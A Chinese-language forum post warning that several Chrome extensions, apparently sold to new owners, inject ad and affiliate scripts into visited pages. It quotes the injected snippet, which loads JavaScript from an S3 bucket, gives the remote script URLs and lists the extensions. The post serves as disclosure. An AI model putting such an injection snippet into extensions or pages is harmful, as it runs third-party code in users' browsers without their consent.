关于 Chrome 插件的安全问题

今天用 Chrome 分析网络的时候发现了个 403 状态的“ http_headers_1.js ”最近总是看见。问题是我访问的是自己的网站，里面没有加载任何 js ，就是个百分百的纯文字页。

后来问题查到了 Chrome 扩展上：

https://chrome.google.com/webstore/detail/http-headers/mhbpoeinkhpajikalhfpjjafpfgjnmgk/reviews

这个叫 Http Header 是我经常使用的一个插件

插件里面有这么一句：

(() => {
var s = document.createElement('script');
s.src = '//s3.eu-central-1.amazonaws.com/forton/http_headers_1.js';
document.body.appendChild(s);})();

目前来说我只见到了 403 状态码。然后当我卸载了它重新安装的时候。发现这句话不见了：

(() => {
    if (!chrome.contextMenus) {
    return void console.log("Chrome contextMenus access failed"); // http_headers_1
}

但是这个注释也蛮有意思。

针对这个 S3 域名加部分路径搜索，发现了这个：

https://www.reddit.com/r/chrome/comments/4uawrf/fyi_tab_manager_extensions_new_owners_have_added/

https://www.reddit.com/r/help/comments/4tquap/hitting_collapse_comment_icon_button_is/

插入的 js 路径：

https://s3.eu-central-1.amazonaws.com/forton/tab_manager.js

只是文件名不一样了。而且这个 js 是可访问的，不会 403 。说简单点功能就是插广告，引流返利之类的东西。

这些插件作者不同，但是都是近期被别的公司买了。

我觉得 Chrome 应该可以设置禁止插件自动更新，尤其是插件发生了权限变更的时候，谷歌提示要么更新要么删除，有点变态。

更多类似感染的插件：

Live HTTP Headers：

https://chrome.google.com/webstore/detail/live-http-headers/iaiioopjkcekapmldfgbebdclcnpgnlo/reviews?hl=en-US

HTTP Headers：

https://chrome.google.com/webstore/detail/http-headers/mhbpoeinkhpajikalhfpjjafpfgjnmgk/reviews

Tab Manage：

https://chrome.google.com/webstore/detail/tab-manager/coonecdghnepgiblpccbbihiahajndda/reviews?hl=en&gl=US

以上几个估计背后的人是一伙的。

还有这个，我很早就发现问题了，安装的时候会偷偷下载另外一个扩展安装上：

Change HTTP Request Header

https://chrome.google.com/webstore/detail/change-http-request-heade/ppmibgfeefcglejjlpeihfdimbkfbbnm/reviews?hl=en-US